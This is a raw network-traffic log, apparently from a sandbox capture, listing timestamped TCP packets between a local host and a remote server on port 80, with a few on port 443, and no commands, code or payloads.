Nov 22, 2024 04:12:10.978907108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.979038000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.980001926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.980127096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.980178118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.981266975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.981384993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.981431007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.982450962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.982501030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.982546091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.983042002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.983674049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.983784914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.983841896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.984874010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.984997988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.985049009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.986087084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.986134052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.986193895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.987039089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.987303972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.987358093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.987420082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.987457037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.988502979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.988626957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.988681078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.989746094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.989850044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.989907980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.990993023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.991048098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.991046906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.992144108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.992194891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.992238998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.993395090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.993451118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.993484020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.993588924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.994556904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.994613886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.994658947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.995050907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.995771885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.995829105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.995949984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.995992899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.997001886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.997044086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.997114897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.997400045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.998197079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.998320103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.998368979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.999403954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.999524117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.999567986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.000601053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.000644922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.000722885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.001379013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.001837969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.001898050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.001936913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.001982927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.003005981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.003057003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.140652895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.140662909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.140723944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.140940905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.141038895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.141086102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.142051935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.142093897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.142138958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.143037081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.143265963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.143309116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.143388033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.143430948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.144443989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.144498110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.144539118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.145658970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.145715952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.145833015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.146564960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.146857023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.146910906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.146986008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.147033930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.148063898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.148113012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.148175955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.148220062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.149224997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.149286032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.149332047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.150434971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.150479078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.150523901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.151040077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.151632071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.151721954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.151776075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.152834892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.152945042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.152987957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.154021025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.154083967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.154123068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.155039072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.155231953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.155273914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.155352116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.156414986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.156464100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.156513929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.157612085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.157661915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.157727003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.157772064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.158813000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.158926964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.158974886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.160010099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.160118103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.160167933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.161231995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.161279917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.161326885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.162420988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.162467957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.162518024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.163042068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.163642883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.163757086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.163804054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.164807081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.164860010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.164910078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.166016102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.166068077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.166114092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.166172981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.167232037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.167335033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.167392015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.168445110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.168456078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.168500900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.169612885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.169657946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.169702053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.170811892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.170855045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.170922041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.171041965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.172035933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.172112942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.172153950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.173222065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.173350096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.173399925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.174396038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.174439907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.174484015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.175038099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.175590992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.175635099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.175679922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.175719976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.176795959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.176835060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.176913023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.176955938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.177977085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.178019047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.178174019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.178216934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.179188967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.179299116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.179353952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.180386066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.180495024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.180541992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.181580067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.181627989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.181680918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.182826996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.182876110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.182881117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.183039904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.183983088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.184050083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.184102058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.185167074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.185296059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.185349941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.186373949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.186427116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.186496019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.186619043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.187560081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.187671900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.187736988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.188797951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.188899994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.188954115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.189971924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.190133095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.190188885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.191152096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.191199064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.191245079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.192368984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.192415953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.192485094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.193063974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.193559885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.193605900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.193667889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.193710089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.194765091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.194818020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.194852114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.194895983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.195951939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.196017027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.196063042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.197144985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.197206020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.197268963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.198343039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.198402882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.198436022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.199044943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.199552059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.199620962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.199661016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.199721098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.200751066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.200809956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.200845957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.201965094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.202025890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.202050924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.203071117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.203145981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.207065105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.286420107 CET	443	49762	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.292113066 CET	49762	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.292157888 CET	443	49762	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.292553902 CET	49762	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.292571068 CET	443	49762	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.341886044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.341900110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.341950893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.341950893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.342339993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.342397928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.342504025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.343040943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.343533039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.343648911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.343693972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.344726086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.344827890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.344878912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.345932961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.346015930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.346064091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.347117901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.347229004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.347285032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.348314047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.348424911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.348468065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.349515915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.349623919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.349669933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.350704908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.350826979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.350883961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.351916075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.352016926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.352066040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.353122950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.353240013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.353286982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.354315042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.354430914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.354477882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.355516911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.355590105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.355632067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.356709003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.356810093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.356854916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.357928038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.358035088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.358095884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.359102011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.359210968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.359253883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.360291958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.360349894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.360392094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.361515999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.361665964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.361711979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.362699032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.362742901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.362807035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.362864017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.363914967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.364026070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.364073038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.365098953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.365143061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.365190029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.365233898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.366280079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.366349936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.366390944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.366530895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.367490053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.367602110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.367649078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.368690968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.368799925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.368855953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.369908094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.370028019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.370079041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.371089935 CET	80	49760	31.41.244.11	192.168.2.4
